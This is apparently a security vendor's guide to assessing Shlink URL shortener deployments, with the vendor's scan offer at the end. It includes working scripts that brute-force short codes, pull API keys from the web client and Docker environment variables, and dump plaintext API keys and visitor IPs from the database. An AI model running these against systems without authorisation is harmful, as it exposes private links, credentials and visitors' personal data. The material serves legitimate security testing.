Shlink is a widely deployed self-hosted URL shortener with detailed analytics — organizations use it for marketing campaigns, internal link sharing, and tracking. Key assessment areas: the API key is the sole authentication mechanism for all URL management operations; the REST API with a valid key exposes all shortened URLs and their targets; short code enumeration via sequential or pattern-based scanning reveals privately shortened URLs including authentication links, password reset tokens embedded in URLs, and internal tool URLs; the database stores all redirect targets and complete click analytics with visitor geolocation; and the Shlink Web Client may embed the API key in its JavaScript bundle. This guide covers systematic Shlink security assessment.
# Shlink — API key authentication and URL enumeration
SHLINK_URL="https://shlink.example.com"
# Test if API key is required (health check endpoint — no auth needed)
curl -s "${SHLINK_URL}/rest/health" 2>/dev/null | python3 -c "
import json,sys
d=json.load(sys.stdin)
print(f'Status: {d.get(\"status\")} Version: {d.get(\"version\")}')
" 2>/dev/null
# Check Shlink Web Client config (may expose API key)
curl -s "${SHLINK_URL}/shlink-web-client/index.html" 2>/dev/null | \
grep -o 'apiKey[^"]*"[^"]*"' | head -5
# Or check the config endpoint
curl -s "${SHLINK_URL}/shlink-web-client/servers.json" 2>/dev/null 2>/dev/null
# Test API key authentication
API_KEY="your-shlink-api-key"
curl -s "${SHLINK_URL}/rest/v3/short-urls?itemsPerPage=100&page=1" \
-H "X-Api-Key: ${API_KEY}" 2>/dev/null | python3 -c "
import json,sys
d=json.load(sys.stdin)
data = d.get('shortUrls',d)
items = data.get('data',[]) if isinstance(data,dict) else d
pagination = data.get('pagination',{}) if isinstance(data,dict) else {}
print(f'Short URLs: {pagination.get(\"totalItems\",len(items))} total')
for url in items[:10]:
print(f' /{url.get(\"shortCode\")} -> {url.get(\"longUrl\",\"\")[:80]}')
print(f' visits={url.get(\"visitsSummary\",{}).get(\"total\",0)} created={str(url.get(\"dateCreated\",\"\"))[:10]}')
print(f' tags={url.get(\"tags\")} maxVisits={url.get(\"maxVisits\")} validUntil={str(url.get(\"validUntil\",\"\"))[:10]}')
" 2>/dev/null
# Shlink short code enumeration and target URL disclosure
SHLINK_URL="https://shlink.example.com"
# Method 1: Brute-force short codes (3-6 char alphanumeric)
# Shlink generates random codes but organizations may use custom short codes
python3 << 'EOF'
import itertools
import string
import requests
BASE_URL = "https://shlink.example.com"
chars = string.ascii_lowercase + string.digits
# Test 3-character codes (limited scope for demonstration)
for c1 in chars[:5]: # Adjust range for full scan
for c2 in chars[:5]:
for c3 in chars[:5]:
code = f"{c1}{c2}{c3}"
try:
r = requests.get(f"{BASE_URL}/{code}", allow_redirects=False, timeout=2)
if r.status_code in [301, 302, 307, 308]:
target = r.headers.get('Location', '')
print(f"FOUND: /{code} -> {target}")
except:
pass
EOF
# Method 2: Test predictable custom short codes
for CODE in "login" "reset" "signup" "auth" "verify" "invite" "download" \
"promo" "deal" "offer" "coupon" "trial" "demo" "app"; do
RESULT=$(curl -s -o /dev/null -w "%{http_code} %{redirect_url}" \
"${SHLINK_URL}/${CODE}" 2>/dev/null)
HTTP_CODE=$(echo $RESULT | awk '{print $1}')
TARGET=$(echo $RESULT | awk '{print $2}')
[ "$HTTP_CODE" != "404" ] && echo "FOUND: /${CODE} -> ${TARGET} (HTTP ${HTTP_CODE})"
done
# Get click analytics for a specific short URL
API_KEY="your-shlink-api-key"
SHORT_CODE="abc123"
curl -s "${SHLINK_URL}/rest/v3/short-urls/${SHORT_CODE}/visits?itemsPerPage=100" \
-H "X-Api-Key: ${API_KEY}" 2>/dev/null | python3 -c "
import json,sys
d=json.load(sys.stdin)
data = d.get('visits',d)
items = data.get('data',[]) if isinstance(data,dict) else []
print(f'Visit records: {len(items)}')
for v in items[:10]:
vi = v.get('visitInfo',{})
print(f' {str(v.get(\"date\",\"\"))[:19]} ip={vi.get(\"ip\",\"\")} country={vi.get(\"country\",\"\")} browser={vi.get(\"browser\",\"\")}')
" 2>/dev/null
# Shlink database — short URL and analytics extraction
# Docker environment variables
docker inspect shlink 2>/dev/null | python3 -c "
import json,sys
d=json.load(sys.stdin)
for c in d:
for e in c.get('Config',{}).get('Env',[]):
if any(k in e for k in ['DB_','SHLINK','GEOLITE','SECRET','PASSWORD','API_KEY']):
print(e)
" 2>/dev/null
# DB_DRIVER, DB_HOST, DB_PORT, DB_NAME, DB_USER, DB_PASSWORD
# INITIAL_API_KEY — first API key on fresh install
# GEOLITE_LICENSE_KEY — MaxMind GeoLite2 for click geolocation
# PostgreSQL — all Shlink data
DB_URL="postgresql://shlink:PASSWORD@localhost/shlink"
psql "$DB_URL" 2>/dev/null << 'EOF'
-- All short URLs with long URL targets
SELECT su.short_code, su.long_url,
su.date_created, su.valid_since,
su.valid_until, su.max_visits,
su.title, su.crawlable
FROM short_urls su
ORDER BY su.date_created DESC
LIMIT 30;
EOF
-- long_url: the actual destination for each short code
-- Reveals all private campaign URLs, internal tools, and authentication links
-- All API keys
psql "$DB_URL" 2>/dev/null << 'EOF'
SELECT ak.id, ak.name, ak.key,
ak.created_date, ak.is_enabled,
ak.roles
FROM api_keys ak
ORDER BY ak.created_date DESC
LIMIT 10;
EOF
-- key: API key value in plaintext — full API access to all short URLs
-- Click analytics with visitor data
psql "$DB_URL" 2>/dev/null << 'EOF'
SELECT v.id, v.referer, v.date,
v.remote_addr, v.user_agent,
vi.country_code, vi.city, vi.browser, vi.os,
su.short_code, su.long_url
FROM visits v
LEFT JOIN visit_locations vi ON v.visit_location_id = vi.id
LEFT JOIN short_url_visits_counts suvc ON v.id = suvc.visit_id
LEFT JOIN short_urls su ON suvc.short_url_id = su.id
ORDER BY v.date DESC
LIMIT 20;
EOF
-- remote_addr: visitor IP addresses in plaintext
-- country_code/city: geolocation data
| Security Test | Method | Risk |
|---|---|---|
| API key extraction and complete URL inventory dump | SELECT key FROM api_keys; then GET /rest/v3/short-urls — all shortened URLs with long URL targets; reveals complete map of marketing campaigns, internal tools, and authentication flows | High |
| Short code brute-force enumeration | GET /{short_code} without API key — redirect responses reveal valid short codes and destination URLs; 3-4 character codes are enumerable in reasonable time; reveals all shortened URLs without needing API access | High |
| PostgreSQL visits table visitor data extraction | SELECT remote_addr, user_agent FROM visits — all click events with IP addresses and browser fingerprints; complete record of who clicked which shortened URLs; GDPR-regulated personal data | High |
| INITIAL_API_KEY exposure in Docker environment | Read Docker environment INITIAL_API_KEY — the first API key generated on fresh Shlink install; if unchanged, provides full API access to all URL management operations | High |
| Shlink Web Client API key exposure | Inspect Shlink Web Client configuration (servers.json or embedded JS) — API key may be hardcoded in the client-side application for browser-based management access; exposes key to any user who can access the web interface | Medium |
Ironimo tests Shlink deployments for API key extraction and complete URL inventory dump, short code brute-force enumeration without API key, PostgreSQL visits table visitor IP and geolocation data extraction, INITIAL_API_KEY Docker environment exposure, Shlink Web Client embedded API key exposure in JavaScript, click analytics PII extraction, destination URL pattern analysis for sensitive targets, domain validation bypass for malicious URL shortening, and database api_keys plaintext extraction.
Start free scan